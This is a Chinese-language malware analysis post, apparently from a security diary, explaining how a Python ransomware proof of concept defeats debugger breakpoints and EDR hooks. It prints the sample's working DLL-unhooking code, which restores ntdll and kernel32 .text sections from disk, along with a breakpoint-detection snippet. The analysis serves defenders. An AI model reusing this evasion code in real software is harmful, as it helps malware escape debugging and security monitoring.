CTRL-Z DLL挂钩技术:恶意软件如何绕过调试器断点

本文详细分析了恶意软件如何通过恢复磁盘原始DLL的.text节来清除软件断点,探讨了DLL脱钩技术的实现原理,并提供了具体的Python代码示例和PE文件结构解析过程。

CTRL-Z DLL Hooking

当您调试恶意软件样本时,可能会在调试器中运行并设置断点。其思路是在程序执行"有趣"操作之前接管程序控制权。通常,我们会在内存管理API调用(如VirtualAlloc())或进程活动(如CreateProcess()、CreateRemoteThread()等)上设置断点。

调试器实现断点的默认技术是通过覆盖函数的第一个字节(用INT3(1)指令覆盖)来"挂钩"原始API调用。这被称为软件断点,因为程序代码被轻微修改,我们指示它执行软件中断。是的,这看起来像是恶意行为,但目的是好的。请注意,还存在其他断点技术,但让我们专注于软件断点。

与往常一样,恶意软件逆向工程是一场永无止境的猫鼠游戏。恶意软件可以很容易地检测到这种技术。只需检查内存中API调用位置的第一个字节是否为"CC"(INT3的操作码),您就明白了:

1
2
3
4
5
6
HMODULE h = GetModuleHandleA("kernel32.dll");       // 获取DLL地址
FARPROC a = GetProcAddress(h, "VirtualAlloc");      // 获取API调用地址
BYTE b = *a;
if (b == 0xCC) {                                    // CC是INT3操作码
    printf("在VirtualAlloc()上设置了断点!\n");
}

这种技术的问题在于恶意软件必须知道哪个API调用已被修补。EDR也可以使用相同的技术。可能涉及许多API调用。当我调试恶意软件样本时,设置超过10个断点是很常见的!

由于所有这些活动都发生在内存中(请记住,程序使用的DLL副本由操作系统加载器加载到进程内存空间中),另一种技术是从原始DLL(位于磁盘上)“重新加载"干净的代码(没有补丁)。这就像执行"撤销"或"CTRL-Z"来恢复初始的DLL状态。我昨天在VT上发现的一个Python恶意代码中找到了这种技术。该脚本似乎是一个勒索软件PoC,得分非常低(4/63)(SHA256:197dd96e76114a1e6d4fb4964767a009d147a2c0de277bc5711dedb7a4152693)

在初始化期间,恶意软件将"脱钩"一些DLL以摆脱潜在的断点:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
def _unhook_dlls(self):
    """SXVM风格的DLL脱钩"""
    try:
        # 像SXVM一样解钩关键DLL
        for dll in ['ntdll.dll', 'kernel32.dll', 'kernelbase.dll']:
            try:
                self._restore_text_section(dll)
            except:
                continue
            return True
    except:
        return False

def _restore_text_section(self, dll_name):
    """像SXVM一样从磁盘恢复.text节"""
    try:
        # 获取系统目录
        system_dir = os.environ.get('SystemRoot', 'C:\\Windows') + '\\System32\\'
        dll_path = system_dir + dll_name

        if os.path.exists(dll_path):
            with open(dll_path, 'rb') as f:
                disk_data = f.read()
                
            # 解析PE头以找到.text节
            pe_offset = struct.unpack('<I', disk_data[0x3C:0x40])[0]
            section_count = struct.unpack('<H', disk_data[pe_offset + 6:pe_offset + 8])[0]
            section_offset = pe_offset + 0x18 + struct.unpack('<H', disk_data[pe_offset + 0x14:pe_offset + 0x16])[0]
               
            for i in range(section_count):
                section_name = disk_data[section_offset + i*40:section_offset + i*40 + 8].decode().strip('\x00')
                if section_name == '.text':
                    virtual_size = struct.unpack('<I', disk_data[section_offset + i*40 + 8:section_offset + i*40 + 12])[0]
                    virtual_addr = struct.unpack('<I', disk_data[section_offset + i*40 + 12:section_offset + i*40 + 16])[0]
                    raw_size = struct.unpack('<I', disk_data[section_offset + i*40 + 16:section_offset + i*40 + 20])[0]
                    raw_offset = struct.unpack('<I', disk_data[section_offset + i*40 + 20:section_offset + i*40 + 24])[0]
                       
                    # 获取模块基地址
                    module_base = ctypes.windll.kernel32.GetModuleHandleW(dll_name)
                    if module_base:
                        # 从磁盘复制.text节到内存
                        text_section = disk_data[raw_offset:raw_offset + raw_size]
                        old_protect = ctypes.c_uint32()
                        self.kernel32.VirtualProtect(module_base + virtual_addr, raw_size, 0x40, ctypes.byref(old_protect))
                        ctypes.memmove(module_base + virtual_addr, text_section, raw_size)
                        self.kernel32.VirtualProtect(module_base + virtual_addr, raw_size, old_protect, ctypes.byref(old_protect))
                    break
        return True
    except:
        return False

这段代码很容易理解,它将从常见的DLL中恢复.text节(包含可执行代码的节) - 这些DLL提供了恶意软件使用的许多有趣的API调用。从磁盘读取DLL,解析PE头以找到.text节的位置和大小。读取代码并将其重新注入到已加载的DLL版本中。.text版本被覆盖,所有软件断点都消失了!这种技术非常有效,因为程序可以对其自己的内存执行任何操作。当然,为了执行此操作,您会看到对VirtualProtect()的调用,以更改和恢复内存保护位。

该脚本包含许多对"SXVM"勒索软件的引用,并且没有混淆。我没有找到任何关于此名称的引用。似乎正在开发中或是一个概念验证?

(1) https://en.wikipedia.org/wiki/INT_(x86_instruction)

Xavier Mertens (@xme) Xameco 高级ISC处理程序 - 自由职业网络安全顾问 PGP密钥

关键词:断点 调试器 DLL 挂钩 恶意软件 Python

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计